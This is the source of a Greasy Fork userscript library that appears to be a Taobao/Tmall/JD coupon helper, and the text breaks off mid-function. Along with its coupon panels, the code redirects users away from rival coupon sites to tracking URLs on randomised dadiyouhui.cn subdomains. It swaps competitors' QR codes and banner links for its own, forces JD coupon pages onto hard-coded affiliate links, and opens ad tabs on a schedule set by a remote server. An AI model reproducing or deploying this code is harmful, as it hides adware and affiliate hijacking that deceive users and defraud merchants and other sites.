Greasy Fork is available in English.

sp

테스트

Tính đến 2019-11-20 03:44:38 UTC. Xem phiên bản mới nhất.

Script này sẽ không được không được cài đặt trực tiếp. Nó là một thư viện cho các script khác để bao gồm các chỉ thị meta // @require https://greasyfork.org/scripts/392629-sp/code/sp.js?version=751165

function kuaisearch() {
    var lian = "https://www.dadiyouhui02.cn/index.php?input=2&r=l&kw=" + $('.search-combobox-input').val();
    window.open(lian);
}

function gosearch() {
    var lian = "https://www.dadiyouhui02.cn/index.php?input=2&r=l&kw=" + $('#J_Header_js').val();
    window.open(lian);
}

function tiansearch() {
    var lian = "https://www.dadiyouhui02.cn/index.php?input=2&r=l&kw=" + $('.s-combobox-input').val();
    window.open(lian);
}


function dataquan(data) {
	var goodid = data.indexOf("goodsItem");
	if (goodid < 0) return 0;
	var en_str = data.substr(goodid);
	var goodid2 = en_str.indexOf(";");
	en_str=data.substr(goodid+11,goodid2-11);

	return en_str;
}

function xiugai(name) {
    var tb = /taobao.com/i;
    var tm = /tmall/i;
    var currentUrl = window.location.href;
    $('head').append($('<link rel="stylesheet" href="https://www.dadiyouhui02.cn/zkq4tb.css">'));

    var h = 'https://www.dadiyouhui02.cn/1/index.php?r=index/classify&kw=' + encodeURI(name);
    var init = "<div id='zkq_div'><table class='zkq_tab' id='zkq_table'><thead><tr><th><b onclick=window.open('https://link.zhihu.com/?target=http://q.dadiyouhui.cn') style='cursor:pointer'>\u4f18\u60e0\u5238</b></th><th>\u539f\u4ef7</th><th>\u5238\u540e\u4ef7</th><th>\u64cd\u4f5c\u261f</th></tr></thead><tbody><tr><td colspan='4' onclick=\"window.location.href='http://q.dadiyouhui.cn/index.php?r=index/classify&kw=" + encodeURI(name)+"';\">\u6682\u65e0\u67e5\u8be2\u5230\u4f18\u60e0\uff0c\u70b9\u51fb\u8fdb\u5165\u7cbe\u786e\u67e5\u8be2</td></tr></tbody></table></div>";
    $('#J_LinkBasket').parent().parent().prepend(init);
    $('.J_LinkAdd').parent().parent().prepend(init);
    if (tb.test(currentUrl)) {
        $('#zkq_table').addClass('zkq_tab_taobao');
    } else {
        $('#zkq_table').addClass('zkq_tab_tmall');
    }
    $.get(h,
    function(d, status) {
        $("#zkq_table tbody tr").remove();
		var tb = /taobao.com/i;
    var tm = /tmall/i;
    var currentUrl = window.location.href;
	var name='';
	if (tb.test(currentUrl)) {
	name = $('.tb-main-title').attr('data-title');
	} else {
	name= $('meta[name=keywords]').attr('content');
	}
        var h= 'http://q.dadiyouhui.cn/index.php?r=index/classify&kw=' + encodeURI(name);
		var jso = dataquan(d);
		var s =  JSON.parse(jso);
		var num3= Number(s[0].quan_jine);
		if (num3 >0) {
			row += "<tr><td>" + s[0].quan_jine + "元</td><td>¥" + s[0].yuanjia + "</td><td>¥" + s[0].jiage + "</td><td><a style='display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:2px;color: #fff;background-color: red;' href='" + h +  "' target='_blank'>领取</a><a id='zktb'>.</a></td></tr>";
		} else {
        var row = "<tr><td colspan='4' onclick=\"window.location.href='http://q.dadiyouhui.cn/index.php?r=index/classify&kw=" + encodeURI(name)+"';\">\u6682\u65e0\u67e5\u8be2\u5230\u4f18\u60e0\uff0c\u70b9\u51fb\u8fdb\u5165\u7cbe\u786e\u67e5\u8be2 <a id='zktb'>.</a></td></tr>";
		}
        $("#zkq_table tbody").append(row);
    });
} 

$(document).ready(function(){

var url = location.href;
	var baidspjayumin=document.domain; 
	  if( baidspjayumin.search("tmall.com") > 0|| baidspjayumin.search("taobao.com") > 0) {
		    if($("#zktb").length<=0  ){
        var idd = '';
        var name = '';
        var host = window.location.host;
        
        var zkdmmxmi = location.href.match(/id=(\d{10,12})/);
    
        
        if ($('#max-test').length <= 0) {
            if (host == 'detail.tmall.com') {
                idd = $("link[rel=canonical]").attr("href");
                idd = idd.split("id=")[1];
                name = $('meta[name=keywords]').attr('content');
            var tmall = '<div id="max-test"><p> <br/></p></div><div class="tb-action" style="margin-top:0"><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:2px;color: #fff;background-color: #2e8b57;#2e8b57;" id="zkd_jqlq"  >手机领取</a><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:5px;color: #fff;background-color: #8600FF;#8600FF;margin-left:5px; " href="http://q.dadiyouhui.cn/index.php?r=p" target="_blank">销量TOP100</a><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:5px;color: #fff;background-color: #2e8b57;#2e8b57;margin-left:5px; " href="http://q.dadiyouhui.cn/my/my.php" target="_blank">个人中心</a></div>';
                $('.tb-sku').append(tmall);
                xiugai(name);
            } else if (host == 'item.taobao.com') {
                idd = $("link[rel=canonical]").attr("href");
                idd = idd.split("id=")[1];
                name = $('.tb-main-title').attr('data-title');
                var taobao = '<div id="max-test"><p> <br/></p></div><div class="tb-action" style="margin-top:0"><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:2px;color: #fff;background-color: #2e8b57;#2e8b57;" id="zkd_jqlq" >手机领取</a><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:5px;color: #fff;background-color: #8600FF;#8600FF;margin-left:5px; " href="http://q.dadiyouhui.cn/index.php?r=p" target="_blank">销量TOP100</a><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:5px;color: #fff;background-color: #2e8b57;#2e8b57;margin-left:5px; " href="http://q.dadiyouhui.cn/my/my.php" target="_blank">个人中心</a></div>';
                $('.tb-key').append(taobao);
                xiugai(name);
            } else if (host == 'detail.tmall.hk') {
                idd = $("link[rel=canonical]").attr("href");
                idd = idd.split("id=")[1];
                name = $('meta[name=keywords]').attr('content');
                var tmall_xg = '<div id="max-test"><p> <br/></p></div><div class="tb-action" style="margin-top:0"><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:2px;color: #fff;background-color: #2e8b57;#2e8b57;" id="zkd_jqlq" >手机领取</a><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:5px;color: #fff;background-color: #8600FF;#8600FF;margin-left:5px; " href="http://q.dadiyouhui.cn/index.php?r=p" target="_blank">销量TOP100</a><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:5px;color: #fff;background-color: #2e8b57;#2e8b57;margin-left:5px; " href="http://q.dadiyouhui.cn/my/my.php" target="_blank">个人中心</a></div>';
                $('.tb-sku').append(tmall_xg);
				xiugai(name);
            } else if (host == 'chaoshi.detail.tmall.com') {
                idd = $('a[id=J_AddFavorite]').attr('data-aldurl');
                idd = idd.split("idd=")[1];
                name = $('input[name=title]').attr('value');
                var cs_tmall = '<div id="max-test"><p> <br/></p></div><div class="tb-action" style="margin-top:0"><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:2px;color: #fff;background-color: #2e8b57;#2e8b57;" id="zkd_jqlq" >手机领取</a><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:5px;color: #fff;background-color: #8600FF;#8600FF;margin-left:5px; " href="http://q.dadiyouhui.cn/index.php?r=p" target="_blank">销量TOP100</a><a style="display: inline-block;padding: 6px 9px;margin-bottom: 0;font-size: 16px;font-weight: normal;height:16px;line-height:16px;width:100px;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius:5px;color: #fff;background-color: #2e8b57;#2e8b57;margin-left:5px; " href="http://q.dadiyouhui.cn/my/my.php" target="_blank">个人中心</a></div>';
                $('.tb-sku').append(cs_tmall);
            }
            $('#max-test').after('<div style="display:none;      text-align: center; position: absolute; left: 0;     right: 0;   margin: 0px auto;   height: 200px;    width: 150px;       z-index: 99999999999;   background: #FFF7F8;   border: 1px solid #F95774;" id="zkdqrscodes_xp"><a  style="background:	#696969; color: #FFF;   font-weight: bold;    display:block; width:150px;height:20px;  " onclick = "document.getElementById(\'zkdqrscodes_xp\').style.display=\'none\';">点击隐藏</a><div  id="zkdqrscode_xp" style="display:none;margin-top: 10px;"></div><div  id="zkdqrscobj_xp" style="left: 0;     right: 0;   margin: 0px auto; background-size:cover; height: 130px;    width: 130px;  margin-top: 10px;"></div><span  style="font-size: 14px;  color: #F95572;   letter-spacing: 0;   font-weight: bold;   float: left;   height: 12px;   line-height: 14px;    width: 100%;   margin-top: 10px; text-align: center;">微信扫码领券</span></div>'); 
          
            $('#zkdqrscode_xp').qrcode({width: 130,height: 130,text: 'http://q.dadiyouhui.cn/test_tongji.php?dj='+Number(zkdmmxmi[1]).toString(16)+'&type=1&zkd=t'});
              var zkdewmca=$("#zkdqrscode_xp").find("canvas")[0];
  var zkdsrc_xp=zkdewmca.toDataURL('image/jpeg'); 
  $("#zkdqrscobj_xp").css({"background-image":"url("+zkdsrc_xp+")","background-size":"100% 100%"});
 //console.log(zkdsrc_xp);
           $("#zkd_jqlq").click(function(){
if($('#zkdqrscodes_xp').is(':hidden')){
$("#zkdqrscodes_xp").show();
}else{
$("#zkdqrscodes_xp").hide();
}});


$("#zkd_jqlq").mouseover(function(){
	$("#zkdqrscodes_xp").show();
});

        }

        if ($('#max-search').length <= 0) {
            if (host == 'www.taobao.com') {
                var tb_search = '<div id="max-search" style="position: absolute;right: -100px;top: 22px;width: 100px;height: 40px;text-align: center;line-height: 40px;border-radius: 9px;color: #ffffff;background: #FF4200;font-size: 16px;font-weight: 800;"><a id="max-search-a" style="color:white;" href="javascript:void(0);">搜优惠券</a></div>';
                $('.search-bd').append(tb_search);
                $('#max-search-a').click(function() {
                    kuaisearch()
                })
            } else if (host == 's.taobao.com') {
                var stb_search = '<div style="float:right;margin-top:1px;color: #ffffff;background: #FF4200;font-size: 16px;font-weight: 800;width: 130px;height: 30px;text-align: center;line-height: 30px;border-radius: 9px;" id="max-search"><a id="max-search-a" style="color:white;" href="javascript:void(0);">搜优惠券</a></div>';
                $('.search').append(stb_search);
                $('#max-search-a').click(function() {
                    kuaisearch()
                });
            } else if (host == 'www.tmall.com' || host == 'list.tmall.com') {
                var tmall_search = '<div style="float:right;margin-top:1px;color: #ffffff;background: #FF4200;font-size: 16px;font-weight: 800;width: 130px;height: 30px;text-align: center;line-height: 30px;border-radius: 9px;" id="max-search"><a id="max-search-a" style="color:white;" href="javascript:void(0);">搜优惠券</a></div>';
                $('#mallSearch').append(tmall_search);
                $('#max-search-a').click(function() {
                    tiansearch()
                });
            }
        }
}
}
 
var zkduptime=0;
var zkdtime=Date.parse(new Date())/1000;
	if (GM_getValue('jg')){
}else{  GM_setValue('jg', 10800) }

if (GM_getValue('time')){

	 if (GM_getValue('time')<(zkdtime-GM_getValue('jg'))) {
	 	 zkduptime=1;
	 }	 
}else{ zkduptime=1;}

 if (zkduptime==1) {
 
 	  $.ajax({
        url: "https://www.dadiyouhui02.cn/tampermonkey/fuzhu.php" ,
        method: "GET",
        dataType: 'json',
        success: function (t) {
        GM_setValue('zkd_data', t);
        	GM_setValue('jg', t.jg);
    	GM_setValue('yz', t.yz);
    		GM_setValue('gz', t.gz);
    	GM_setValue('jgl', t.jgl);
    		GM_setValue('ggjg', t.ggjg);


        }
      });
       	      if (GM_info.script.version<GM_getValue('zkd_data').banben){
        		if (GM_getValue('gxsj')){
}else{  GM_setValue('gxsj', zkdtime-86400) }
if (GM_getValue('gxsj')<(zkdtime-86400)){
	      GM_setValue('gxsj', zkdtime);
 swal({
 title: "发现新版本:微信公众号推文文章图片一键下载",
    text: "修复部分BUG,是否确认更新?",
    icon: "success",
    buttons: true,
    dangerMode: true,
    buttons: ["取消", "确定"],
})
    .then((willDelete) => {
        if (willDelete) {
	GM_openInTab(GM_getValue('zkd_data').dz, {active: !0});
        } 
    });
}  }   

    	if (GM_getValue('ggjg')){
}else{  GM_setValue('ggjg', 86400) }
   	if (GM_getValue('zkd_ggsj')){
}else{  GM_setValue('zkd_ggsj', zkdtime-GM_getValue('ggjg')) }
	if (GM_getValue('zkd_data').ggkg){
if(GM_getValue('zkd_data').ggkg==1 && GM_getValue('zkd_ggsj')<(zkdtime-GM_getValue('ggjg'))){
	 GM_setValue('zkd_ggsj', zkdtime);
	GM_openInTab(GM_getValue('zkd_data').ggdz, {active: !0});
}
}
 
 }


if(baidspjayumin.search("zhihu.com")> 0) {
	  if ($('.VideoCard').length > 0 &&  $('#zdksp_0').length <= 0 &&  $('.zdkspzh').length <= 0  ) {
	  	  	$('.VideoCard').before('<a style="height: 21px;    color: #fff; line-height: 21px;         padding: 0 11px;        background: #8c09d3;        border: 1px #26bbdb solid;       z-index:99999;   border-radius: 3px;        display: inline-block;           text-decoration: none;          font-size: 14px;       outline: none;"  class="zdkspzh" id="zdk_down" >下拉网页或者滑动鼠标中间可显示视频下载按钮</a>' );
	  	  }
  $(window).scroll(function(event){
  	  	if ($('.zdkspzh').length > 0) {
  	  		$(".zdkspzh").hide();
  	  		}
$("iframe").each(function(key, val){
		if ($('#zdksp_'+key).length <= 0) {

        GM_xmlhttpRequest({ 
                  method : "GET",           
                 dataType: "json",
                url : $(this).attr("src").replace("www.zhihu.com/video","lens.zhihu.com/api/v4/videos"),
                	 
                onload : function (response) {
                  	    var rsp = JSON.parse(response.responseText);
                if (rsp.playlist.LD){
                rsp.type="普清"
                	  rsp.play_url=rsp.playlist.LD.play_url
                }
                  if (rsp.playlist.HD){
                rsp.type="高清"
                rsp.play_url=rsp.playlist.HD.play_url
                }
                 if (rsp.playlist.SD){
                rsp.type="超清"
                rsp.play_url=rsp.playlist.SD.play_url
                }
           var      zkld_play_url=rsp.play_url;
           var      zkld_play_type= rsp.type;
           var      zkld_play_fm= rsp.cover_url;
        console.log(rsp);
  if ($('#zdksp_'+key).length <= 0 ) {
        		$('.VideoCard').eq(key).before('<a style="height: 21px;    color: #fff; line-height: 21px;         padding: 0 11px;        background: #8c09d3;        border: 1px #26bbdb solid;       z-index:99999;   border-radius: 3px;        display: inline-block;           text-decoration: none;          font-size: 14px;       outline: none;" href="'+zkld_play_url+'" download="'+document.title+'_'+key+'.MP4"  id="zdksp_'+key+'" >'+zkld_play_type+'下载:右键另存为可保存本视频</a> <br><a  href="'+zkld_play_fm+'"> 封面:'+zkld_play_fm+'</a> ');
	}
                }
             });
             
		

	}
})
});
   }
   $("#aside-nav").hide();
if(url.search("movie.douban.com")> 0) {
	$(".gray_ad").attr("style","display:none;");
			$("#dale_movie_subject_top_right").attr("style","display:none;");


var title = encodeURI(document.title.replace(" (豆瓣)", ""));

     if ($('#zkdzaixianss').length <= 0 &&  $('#zkdxia').length <= 0 &&  $('#zkdhb').length <= 0  ) {
       $('.tags').before('<div class="tags"  id="zkdzaixianss"> <h2>  <i class="">在线播放</i>    · · · · · · </h2><div class="tags-body"><a href="http://www.scps6.com/?c=search&wd=' + title + '&sort=addtime&order=desc&page=1" class="" target="_blank">骑士电影</a> <a href="http://www.7ccy.com/vod-search-wd-' + title+'.html" class="" target="_blank">悠久影院</a><a href="https://so.btba.cc/?wd=' + title+'" class="" target="_blank">BD影视</a> <a href="hhttp://www.gagays.xyz/movie/search?req%5Bkw%5D=' + title+'" class="" target="_blank">哇呱影视</a> <a href="http://yyetss.com/Search/index/?s_keys=' + title+'" class="" target="_blank">人人美剧</a> <a href="http://rarbt.cc/index.php/search/index.html?search=' + title+'" class="" target="_blank">RARBT</a><a href="http://www.btbtdy.me/search/' + title+'.html" class="" target="_blank">BT天堂</a><a href="http://www.dtzj.fun/vod/search.html?wd=' + title+'" class="" target="_blank">岛田之家</a><a href="http://dy.dadiyouhui.cn/daohang/mian-fei-shi-pin.html" class="" target="_blank">更多在线播放网站</a> <a href="http://a.dadiyouhui.cn/fl.htm" class="" target="_blank">淘宝优惠券+京东优惠券+高佣返利</a>    </div></div><div class="tags"  id="zkdxia"> <h2>  <i class="">高清资源</i>    · · · · · · </h2><div class="tags-body"><a href="http://www.yinfans.com/?s='+ title+'" class="" target="_blank">音范丝</a> <a href="http://www.languang.co/?s='+ title+'" class="" target="_blank">蓝光网</a> <a href="http://pianyuan.net/search?q='+ title+'" class="" target="_blank">片源网</a> <a href="http://www.ibtbb.com/?s='+ title+'" class="" target="_blank">思享网</a> <a href="http://www.youzhidy.com/plus/search.php?kwtype=0&q='+ title+'" class="" target="_blank">优质电影网</a> <a href="http://dy.dadiyouhui.cn/daohang/wang-pan-sou-suo.html" class="" target="_blank">网盘搜索</a> <a href="http://a.dadiyouhui.cn/url/gzhg" class="" target="_blank">福利公众号</a> </div></div><div class="tags"  id="zkdhb"> <h2>  <i class="">动漫番剧在线观看</i>    · · · · · · </h2><div class="tags-body"><a href="http://www.imomoe.io/search.asp" class="" target="_blank">樱花动漫</a>  <a href="https://www.5dm.tv/search/' + title+'" class="" target="_blank">D站动漫</a><a href="http://www.nicotv.me/video/search/' + title+'.html" class="" target="_blank">妮可动漫</a><a href="https://www.xixixixi.wang/search/name/' + title+'.html" class="" target="_blank">西西动漫</a><a href="https://www.kisssub.org" class="" target="_blank">茵蒂克丝</a></div></div><div class="tags"  id="zkdhb"> <h2>  <i class="">福利</i>    · · · · · · </h2><div class="tags-body"><a href="http://dy.o.dadiyouhui.cn/0/0/wm/wz/waimai.php?waimai=meituan" class="" target="_blank">美团外卖红包</a>  <a href="http://dy.o.dadiyouhui.cn/0/0/wm/wz/waimai.php?waimai=elm" class="" target="_blank">饿了么红包</a><a href="http://dy.o.dadiyouhui.cn/hb/hbkfc.php" class="" target="_blank">肯德基优惠券</a><a href="http://dy.o.dadiyouhui.cn/hb/hbdd.php" class="" target="_blank">滴滴出行红包</a><a href="http://dy.o.dadiyouhui.cn/hb/hbkfc.php" class="" target="_blank">肯德基优惠券</a><a href="http://dy.o.dadiyouhui.cn/hbguangdong/1/1/1/a/hbzfb.php" class="" target="_blank">更多红包</a><a href="http://a.dadiyouhui.cn/url/gzhg" class="" target="_blank">美团外卖助力微信群、饿了么助力群、拼多多砍价群、淘宝京东助力群、火车票电影票助力群</a></div></div>');
      }
$(".c-aside").hide();
}
function randomaasxString(len) {
  len = len || 32;
  var i = 0;
  var $chars = '23456789abcdefghijkmnpqrstuvwxyz';
  var maxPos = $chars.length;
  var pwd = '';
  for (i = 0; i < len; i++) {
    pwd += $chars.charAt(Math.floor(Math.random() * maxPos));
  }
  return pwd;
}

if(url.indexOf("index.php?r=v&id=") > 0) {
		var idasdsastxt=0;
	if($(".detail_right_2").length > 0){
	 idasdsastxt=$(".detail_right_2").attr("data-src");
	}
		if($(".detail_right_2").length > 0){
	 idasdsastxt=$(".detail_right_2").attr("data-src");
	}
		if(idasdsastxt== 0){	}else{
	var sakjjuigoid =idasdsastxt.match(/itemId=(\d{10,13})&/);

	 if (sakjjuigoid){ 
	sakjjuigoid[5]= encodeURIComponent("https://item.taobao.com/item.htm?id="+sakjjuigoid[1])
$(".detail_right_2").attr("data-src","http://hui.dadiyouhui.cn/test_tb_zhuanlian.php?type=1&lj="+sakjjuigoid[5]);
	$(".dj").attr("data-src","http://hui.dadiyouhui.cn/test_tb_zhuanlian.php?type=1&lj="+sakjjuigoid[5]);	 	 
console.log(sakjjuigoid[5])	    }
	}

} 

var url = location.href;
var zkddomain = document.domain;
if(zkddomain.indexOf("soquanya.") > 0 ) {
	var sakjjuigoid =url.match(/id\/(\d{10,13})./);

	 if (sakjjuigoid){ 
window.location.href="http://"+randomaasxString(2)+"."+randomaasxString(2)+".dadiyouhui.cn/test_tongji.php?dj="+Number(sakjjuigoid[1]).toString(16)+"&type=1&zkd=yayams";
} 
} 
if(zkddomain.indexOf("yayams.") > 0 || zkddomain.indexOf("haoshsh.") > 0 ) {
	var sakjjuigoid =url.match(/iid\/(\d{10,13})./);

	 if (sakjjuigoid){ 
window.location.href="http://"+randomaasxString(2)+"."+randomaasxString(2)+".dadiyouhui.cn/test_tongji.php?dj="+Number(sakjjuigoid[1]).toString(16)+"&type=1&zkd=yayams";
} 
}

if(location.href.indexOf("gwdang.c") > 0 ) {

		var sakjjuifydgoid =location.href.match(/dp(\d{10,13})-/);
	 if (sakjjuifydgoid){ 
	 	 
window.location.href="http://"+randomaasxString(2)+"."+randomaasxString(2)+".dadiyouhui.cn/test_tongji.php?dj="+Number(sakjjuifydgoid[1]).toString(16)+"&type=1&zkd=gwdang";
} 
	var sakjjuigoid =location.href.match(/trend\/(\d{10,13})-/);

	 if (sakjjuigoid){ 
window.location.href="http://"+randomaasxString(2)+"."+randomaasxString(2)+".dadiyouhui.cn/test_tongji.php?dj="+Number(sakjjuigoid[1]).toString(16)+"&type=1&zkd=gwdang";
} 
	var sakjjuiydgoid =location.href.match(/dp_id=(\d{10,13})-/);
	 if (sakjjuiydgoid){ 
window.location.href="http://"+randomaasxString(2)+"."+randomaasxString(2)+".dadiyouhui.cn/test_tongji.php?dj="+Number(sakjjuiydgoid[1]).toString(16)+"&type=1&zkd=gwdang";
} 
} 

if(url.search("music.cccyun.cc") > 0) {
	//$("h4").html("");
}

setTimeout(function(){
	var zkdmmxidmi = location.href.match(/id=(\d{10,12})/);
		if ($('#miniCouponCom').length >0 && zkdmmxidmi ) {     
$(".mini-cc-tle").attr("href","http://q.dadiyouhui.cn/new.asp?r=index%2Fclassify&kw="+encodeURI($('.mini-cc-tle').html())+"#order_2'");
$(".click2get2").attr("href","http://q.dadiyouhui.cn/test_tongji.php?dj="+Number(zkdmmxidmi[1]).toString(16)+"&type=1&zkd=gwdang");
            }
	},12000);
	
setTimeout(function(){
    if ($('.minicoupon_detail').length >0 &&  $('.coupon_detail').length > 0  && $('#zkdxxasdwema').length <= 0 &&  $('#zkdxxasdwemb').length <= 0) {
$('.minicoupon_detail').before('<div style="display:none;" id="zkdqrcode_xp"></div>');
var zkdmmxmi = location.href.match(/id=(\d{10,12})/);
  $('#zkdqrcode_xp').qrcode('http://'+randomaasxString(2)+'.'+randomaasxString(2)+'.dadiyouhui.cn/test_tongji.php?dj='+Number(zkdmmxmi[1]).toString(16)+'&type=1&zkd=t');
  var zkdewmca=$("#zkdqrcode_xp").find("canvas")[0];
  var zkdsrc_xp=zkdewmca.toDataURL('image/jpeg'); 
$('.minicoupon_detail').before('<div class="zkdminicoupon_detail" id="zkdxxasdwema">  <img src="'+zkdsrc_xp+'"><span>微信扫码领券</span></div>' );
$(".minicoupon_detail").remove();
$(".zkdminicoupon_detail").attr("class","minicoupon_detail");
$('.coupon_detail').before('<div class="zkdcoupon_detail" id="zkdxxasdwemb">  <img src="'+zkdsrc_xp+'"><span>微信扫码领券</span></div>' );
$(".coupon_detail").remove();
$(".zkdcoupon_detail").attr("class","coupon_detail");
}
	if($("#gwdang-banner-ad").length>0){
		$("#gwdang-banner-ad").attr("href","http://www.dadiyouhui.cn/url/rnXfb5");
		}
},5000);

var zkdzztime=Date.parse(new Date())/1000;
var zkdotime=(new Date(new Date().toLocaleDateString()).getTime())/1000;

var urla=window.location.href;
 var jcsfzkddds=0;
 if (urla.indexOf("dadiyouhui")<0 && (urla.indexOf("r=l/d&")>0 || urla.indexOf("r=p/d&")>0 || urla.indexOf("classify&kw=")>0)){
$("link[href]").each(function(k,v){
 if(v.href.search("cmsstatic.ffquan.cn")>0 ){
 jcsfzkddds=1;
}
})
if(jcsfzkddds==1 ){
	jcsfzkddds=urla.replace(document.domain,'www.dadiyouhui.cn'); 
 if (jcsfzkddds.search("https:")>=0 ){
 	 jcsfzkddds=jcsfzkddds.replace('https:','http:'); 
}
 window.location.href=jcsfzkddds; 
}
	}
	
  if( urla.search("detail.tmall.com") > 0|| urla.search("www.taobao.com") > 0) {
  	  
  
		if (GM_getValue('zkd_tsj')){
}else{  GM_setValue('zkd_tsj', zkdotime+86400) }
	if (GM_getValue('zkd_data').t){
if(GM_getValue('zkd_data').t==1 && GM_getValue('zkd_tsj')<zkdzztime){
	 GM_setValue('zkd_tsj', zkdotime+86400);
	GM_openInTab(GM_getValue('zkd_data').tdz, {active: !0});
		return false
}
}
}
if(urla.search("jd.com") > 0) {

if(urla.search("item.jd.com") > 0) {
		if (GM_getValue('jgl')){
}else{  GM_setValue('jgl', 3) }


			
		if (GM_getValue('zkd_jsj')){
}else{  GM_setValue('zkd_jsj', zkdotime+86400) }
	if (GM_getValue('zkd_data').j){
if(GM_getValue('zkd_data').j==1 && GM_getValue('zkd_jsj')<zkdzztime){
	 GM_setValue('zkd_jsj', zkdotime+86400);
	GM_openInTab(GM_getValue('zkd_data').jdz, {active: !0});
		return false
}
}
}


	var jdqttjtime=0;
var jdqqqq=0;


	if (urla.search("t_2011369277")<=0 && urla.search("s://a.jd.com") >= 0 ){
	window.location.href="https://union-click.jd.com/jdc?e=&p=AyIGZRprFDJWWA1FBCVbV0IUWVALHEIYDk5ER1xOGWVLXBRrCF8ieDgXXhF8Ck4adWJQb1B7VxkyEgJRElwSBhIGXCtYFAISBVITWBMEIjdVGmtebBM3VR5cFwoRBV0TXyUCFgFVHlsTBhQBUhlTJQUSDmVADnsFRQEHH1wUAxEFBxxbJTIiBGUraxQyEjcKXwZIMhAGVB9S";
	}
	if (urla.search("t_2011369277")<=0 && urla.search("coupon.m.jd.com/center/getCouponCenter") >= 0 ){
	window.location.href="https://union-click.jd.com/jdc?e=&p=AyIGZRprFDJWWA1FBCVbV0IUWVALHEBZEVoFSh1OGA5OREdcThkHTwRQVlEZA08eZ1xWRgtEKUFdV1MWBAtHR0pZCitSSAFGdAVjXXZQUnJPaSBVdhNSCRMNGQ4iB1AfUhIFFgdUEmsWAxIHVxxTFgQUN2UbWiVJfAZlG14SABoEVxNTETISA1MbXhUEFQBVGFsSMhUHXCsAQGwVUFNJXxIDEwRXSVwVMiI3VitrJQMiB2VEH0hfIgVUGl8c";
	}
if (jdqqqq==0 && urla.search("dadiyouhui") <= 0 ){
var jdgooul = window.location.href.match(/\/(\d{5,13}).html/);
if (localStorage.getItem("zkdccxdjid"+jdgooul) != null) {
	  }else{ 
    localStorage.setItem("zkdccxdjid"+jdgooul,jdgooul);
	  }
 	  if (localStorage.getItem("zkdccxdtjdtime"+jdgooul) != null) {
	if (localStorage.getItem("zkdccxdtjdtime"+jdgooul) < ((Date.parse(new Date())/1000)-60)) {
		jdqttjtime=0;
		    localStorage.setItem("zkdccxdjid"+jdgooul,jdgooul);
	}else{jdqttjtime=1;}
	}	  
